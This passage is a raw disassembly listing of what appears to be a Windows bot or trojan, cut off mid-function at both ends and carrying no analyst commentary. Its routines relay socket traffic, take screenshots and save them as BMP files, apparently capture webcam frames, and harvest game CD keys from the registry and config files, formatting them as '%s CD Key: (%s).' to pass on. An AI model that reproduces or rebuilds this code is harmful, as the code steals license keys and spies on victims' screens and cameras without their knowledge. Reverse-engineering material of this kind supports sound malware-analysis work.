		call	ds:dword_423050
sub_4081DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084A0	proc near		; CODE XREF: sub_4081DC+286p

Dst		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4084B6:				; CODE XREF: sub_4084A0+C5j
					; sub_4084A0+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4084CE:				; CODE XREF: sub_4084A0+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084DE
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084CE


loc_4084DE:				; CODE XREF: sub_4084A0+33j
		cmp	ecx, 1
		jnz	short loc_4084F3
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_4084F3:				; CODE XREF: sub_4084A0+41j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	ds:dword_43C600	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	ds:dword_43C510	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_408553
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43C630	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40859B
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40859B


loc_408553:				; CODE XREF: sub_4084A0+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C510	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4084B6
		push	edi
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C630	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40859B
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	ebx
		call	ds:dword_43C668	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084B6


loc_40859B:				; CODE XREF: sub_4084A0+9Aj
					; sub_4084A0+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085A0	proc near		; CODE XREF: sub_40EE51+45B1p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	ds:dword_43C604	; CreateDCA
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4087D4
		push	8
		push	edi
		call	ds:dword_43C620	; GetDeviceCaps
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	ds:dword_43C620	; GetDeviceCaps
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	ds:dword_43C620	; GetDeviceCaps
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408602
		push	18h
		push	edi
		call	ds:dword_43C620	; GetDeviceCaps
		mov	ebx, 100h
		jmp	short loc_408604
; ---------------------------------------------------------------------------


loc_408602:				; CODE XREF: sub_4085A0+50j
		xor	ebx, ebx


loc_408604:				; CODE XREF: sub_4085A0+60j
		push	edi
		call	ds:dword_43C664	; CreateCompatibleDC
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4087B9
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	ds:dword_43C65C	; CreateDIBSection
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4087C4
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43C4F4	; SelectObject
		cmp	eax, esi
		jz	loc_4087C4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4087C4
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	ds:dword_43C660	; BitBlt
		test	eax, eax
		jz	loc_4087C4
		cmp	ebx, esi
		jz	short loc_4086C1
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	ds:dword_43C548	; GetDIBColorTable
		mov	ebx, eax


loc_4086C1:				; CODE XREF: sub_4085A0+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	ds:dword_423080
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4087A4
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	ds:dword_423078
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_423078
		cmp	ebx, esi
		jz	short loc_408786
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_423078


loc_408786:				; CODE XREF: sub_4085A0+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	ds:dword_423078
		push	[ebp+arg_0]
		call	ds:dword_423074
		push	1
		pop	esi


loc_4087A4:				; CODE XREF: sub_4085A0+1A2j
		push	[ebp+var_1C]
		call	ds:dword_43C57C	; DeleteObject
		push	[ebp+var_4]
		call	ds:dword_43C4E0	; DeleteDC
		mov	edi, [ebp+var_20]


loc_4087B9:				; CODE XREF: sub_4085A0+70j
		push	edi
		call	ds:dword_43C4E0	; DeleteDC
		mov	eax, esi
		jmp	short loc_4087D6
; ---------------------------------------------------------------------------


loc_4087C4:				; CODE XREF: sub_4085A0+C7j
					; sub_4085A0+D9j ...
		push	edi
		call	ds:dword_43C4E0	; DeleteDC
		push	[ebp+var_4]
		call	ds:dword_43C4E0	; DeleteDC


loc_4087D4:				; CODE XREF: sub_4085A0+23j
		xor	eax, eax


loc_4087D6:				; CODE XREF: sub_4085A0+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4087DB(int,size_t Size,int,int)

sub_4087DB	proc near		; CODE XREF: sub_40EE51+46EDp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
Memory		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ds:dword_43B0B0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	ds:dword_43C570
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_408819
		mov	eax, esi
		jmp	loc_4089CF
; ---------------------------------------------------------------------------


loc_408819:				; CODE XREF: sub_4087DB+35j
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408836
		push	ebx
		push	[ebp+Size]
		push	40Ah
		push	edi
		call	ds:dword_43C674	; SendMessageA
		jmp	short loc_408838
; ---------------------------------------------------------------------------


loc_408836:				; CODE XREF: sub_4087DB+47j
		xor	eax, eax


loc_408838:				; CODE XREF: sub_4087DB+59j
		cmp	eax, ebx
		jnz	short loc_408843


loc_40883C:				; CODE XREF: sub_4087DB+88j
					; sub_4087DB+BCj
		mov	ebx, esi
		jmp	loc_4089C4
; ---------------------------------------------------------------------------


loc_408843:				; CODE XREF: sub_4087DB+5Fj
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408860
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	ds:dword_43C674	; SendMessageA


loc_408860:				; CODE XREF: sub_4087DB+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40883C
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408886
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	ds:dword_43C674	; SendMessageA
		mov	[ebp+Size], eax
		jmp	short loc_408889
; ---------------------------------------------------------------------------


loc_408886:				; CODE XREF: sub_4087DB+98j
		mov	[ebp+Size], ebx


loc_408889:				; CODE XREF: sub_4087DB+A9j
		push	[ebp+Size]	; Size
		call	_malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Memory], eax
		jz	short loc_40883C
		push	[ebp+Size]	; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088B0
		push	1
		pop	ebx
		jmp	loc_4089C4
; ---------------------------------------------------------------------------


loc_4088B0:				; CODE XREF: sub_4087DB+CBj
		push	[ebp+var_4]
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_4088CD
		push	[ebp+Memory]
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_43C674	; SendMessageA


loc_4088CD:				; CODE XREF: sub_4087DB+E0j
		push	[ebp+Size]	; Size
		push	[ebp+Memory]	; Src
		push	esi		; Dst
		call	_memcpy
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4088E8
		mov	ecx, 280h


loc_4088E8:				; CODE XREF: sub_4087DB+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_4088F4
		mov	eax, 1E0h


loc_4088F4:				; CODE XREF: sub_4087DB+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_40893E
		push	esi
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_43C674	; SendMessageA


loc_40893E:				; CODE XREF: sub_4087DB+153j
		push	[ebp+var_4]
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_40895B
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	ds:dword_43C674	; SendMessageA


loc_40895B:				; CODE XREF: sub_4087DB+16Ej
		push	[ebp+var_4]
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_40897A
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	ds:dword_43C674	; SendMessageA


loc_40897A:				; CODE XREF: sub_4087DB+18Bj
		push	[ebp+var_4]
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408997
		push	[ebp+Memory]
		push	[ebp+Size]
		push	edi
		push	[ebp+var_4]
		call	ds:dword_43C674	; SendMessageA


loc_408997:				; CODE XREF: sub_4087DB+1AAj
		push	[ebp+Memory]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_4089C4
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	ds:dword_43C674	; SendMessageA


loc_4089C4:				; CODE XREF: sub_4087DB+63j
					; sub_4087DB+D0j ...
		push	[ebp+var_4]
		call	ds:dword_43C6C8	; DestroyWindow
		mov	eax, ebx


loc_4089CF:				; CODE XREF: sub_4087DB+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4089D4(int,size_t Size,int,int,int)

sub_4089D4	proc near		; CODE XREF: sub_40EE51+47A6p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Memory		= dword	ptr -4
arg_0		= dword	ptr  8
Size		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	ds:dword_43B0B0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	ds:dword_43C570
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408A12
		mov	eax, esi
		jmp	loc_408C0E
; ---------------------------------------------------------------------------


loc_408A12:				; CODE XREF: sub_4089D4+35j
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408A2F
		push	ebx
		push	[ebp+Size]
		push	40Ah
		push	edi
		call	ds:dword_43C674	; SendMessageA
		jmp	short loc_408A31
; ---------------------------------------------------------------------------


loc_408A2F:				; CODE XREF: sub_4089D4+47j
		xor	eax, eax


loc_408A31:				; CODE XREF: sub_4089D4+59j
		cmp	eax, ebx
		jnz	short loc_408A3C


loc_408A35:				; CODE XREF: sub_4089D4+8Bj
					; sub_4089D4+BCj
		mov	ebx, esi
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_408A3C:				; CODE XREF: sub_4089D4+5Fj
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408A5C
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	ds:dword_43C674	; SendMessageA


loc_408A5C:				; CODE XREF: sub_4089D4+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408A35
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408A7F
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	ds:dword_43C674	; SendMessageA
		mov	[ebp+Size], eax
		jmp	short loc_408A82
; ---------------------------------------------------------------------------


loc_408A7F:				; CODE XREF: sub_4089D4+96j
		mov	[ebp+Size], ebx


loc_408A82:				; CODE XREF: sub_4089D4+A9j
		push	[ebp+Size]	; Size
		call	_malloc
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+Memory], eax
		jz	short loc_408A35
		push	[ebp+Size]	; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408AA9
		push	1
		pop	ebx
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_408AA9:				; CODE XREF: sub_4089D4+CBj
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408AC6
		push	[ebp+Memory]
		push	[ebp+Size]
		push	42Ch
		push	edi
		call	ds:dword_43C674	; SendMessageA


loc_408AC6:				; CODE XREF: sub_4089D4+DEj
		push	[ebp+Size]	; Size
		push	[ebp+Memory]	; Src
		push	esi		; Dst
		call	_memcpy
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408AE1
		mov	ecx, 0A0h


loc_408AE1:				; CODE XREF: sub_4089D4+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408AEB
		push	78h
		pop	eax


loc_408AEB:				; CODE XREF: sub_4089D4+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408B30
		push	esi
		push	[ebp+Size]
		push	42Dh
		push	edi
		call	ds:dword_43C674	; SendMessageA


loc_408B30:				; CODE XREF: sub_4089D4+14Aj
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408B4D
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	ds:dword_43C674	; SendMessageA


loc_408B4D:				; CODE XREF: sub_4089D4+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408B8B
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	ds:dword_43C674	; SendMessageA


loc_408B8B:				; CODE XREF: sub_4089D4+1A3j
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408BA6
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	ds:dword_43C674	; SendMessageA


loc_408BA6:				; CODE XREF: sub_4089D4+1C0j
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408BBF
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	ds:dword_43C674	; SendMessageA


loc_408BBF:				; CODE XREF: sub_4089D4+1DBj
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408BDC
		push	[ebp+Memory]
		push	[ebp+Size]
		push	42Dh
		push	edi
		call	ds:dword_43C674	; SendMessageA


loc_408BDC:				; CODE XREF: sub_4089D4+1F4j
		push	[ebp+Memory]	; Memory
		call	_free
		push	esi		; Memory
		call	_free
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_43C5B8	; IsWindow
		test	eax, eax
		jz	short loc_408C05
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	ds:dword_43C674	; SendMessageA


loc_408C05:				; CODE XREF: sub_4089D4+63j
					; sub_4089D4+D0j ...
		push	edi
		call	ds:dword_43C6C8	; DestroyWindow
		mov	eax, ebx


loc_408C0E:				; CODE XREF: sub_4089D4+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4089D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_408C13(int,char *Str,int)

sub_408C13	proc near		; CODE XREF: sub_40EE51+5862p

Filename	= byte ptr -3F4h
var_2F0		= dword	ptr -2F0h
var_F0		= byte ptr -0F0h
Buf		= byte ptr -70h
var_C		= dword	ptr -0Ch
File		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	ds:off_42A894, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408DC5
		push	esi
		push	edi
		mov	eax, offset off_42A894
		mov	esi, offset dword_42A8A0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_408C43:				; CODE XREF: sub_408C13+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	ds:dword_43C688	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	ds:dword_43C524	; RegQueryValueExA
		test	eax, eax
		jnz	loc_408DAB
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408D6F
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+Filename]
		push	offset aSS_3	; "%s\\%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Filename]
		push	offset aR	; "r"
		push	eax		; Filename
		call	_fopen
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+File], eax
		jz	loc_408DAB
		push	eax		; File


loc_408CBC:				; CODE XREF: sub_408C13+D4j
		lea	eax, [ebp+Buf]
		push	64h		; MaxCount
		push	eax		; Buf
		call	_fgets
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408D64
		push	dword ptr [esi+4] ; SubStr
		lea	eax, [ebp+Buf]
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CE9
		push	[ebp+File]
		jmp	short loc_408CBC
; ---------------------------------------------------------------------------


loc_408CE9:				; CODE XREF: sub_408C13+CFj
		push	3Dh		; Val
		push	dword ptr [esi+4] ; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D28
		lea	eax, [ebp+Buf]
		push	offset Delim	; "="
		push	eax		; Str
		call	_strtok
		push	offset Delim	; "="
		push	ebx		; Str
		call	_strtok
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 20h
		jmp	short loc_408D3F
; ---------------------------------------------------------------------------


loc_408D28:				; CODE XREF: sub_408C13+E4j
		lea	eax, [ebp+Buf]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_408D3F:				; CODE XREF: sub_408C13+113j
		push	ebx		; int
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6F
		add	esp, 18h


loc_408D64:				; CODE XREF: sub_408C13+B9j
		push	[ebp+File]	; File
		call	_fclose
		pop	ecx
		jmp	short loc_408DAB
; ---------------------------------------------------------------------------


loc_408D6F:				; CODE XREF: sub_408C13+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi		; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6F
		add	esp, 28h


loc_408DAB:				; CODE XREF: sub_408C13+60j
					; sub_408C13+A2j ...
		push	[ebp+var_4]
		call	ds:dword_43C5F4	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408C43
		pop	edi
		pop	esi


loc_408DC5:				; CODE XREF: sub_408C13+19j
		pop	ebx
		leave
		retn
sub_408C13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DC8	proc near		; DATA XREF: sub_40EE51+3D67o

Dest		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= dword	ptr -218h
var_115		= byte ptr -115h
Str		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408E1D
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_408E1D:				; CODE XREF: sub_408DC8+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42BAEC ; Format
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E62
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_40D670
		add	esp, 14h


loc_408E62:				; CODE XREF: sub_408DC8+78j
		lea	eax, [ebp+Str]
		push	ebx		; int
		push	eax		; int
		lea	eax, [ebp+var_218]
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]	; int
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_408EE0
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_42BABC ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EC0
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_298]
		push	eax		; Str
		push	[ebp+var_29C]	; int
		call	sub_40D670
		add	esp, 14h


loc_408EC0:				; CODE XREF: sub_408DC8+D6j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_10]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_423050
		pop	edi
		pop	esi
		pop	ebx
sub_408DC8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_408EE0(int,char *Str,int,int,int,int)

sub_408EE0	proc near		; CODE XREF: sub_408DC8+B9p
					; sub_408EE0+9Ep

var_54C		= dword	ptr -54Ch
var_34C		= dword	ptr -34Ch
Dest		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+Dest]
		push	offset aS_7	; "%s\\*"
		push	esi		; Count
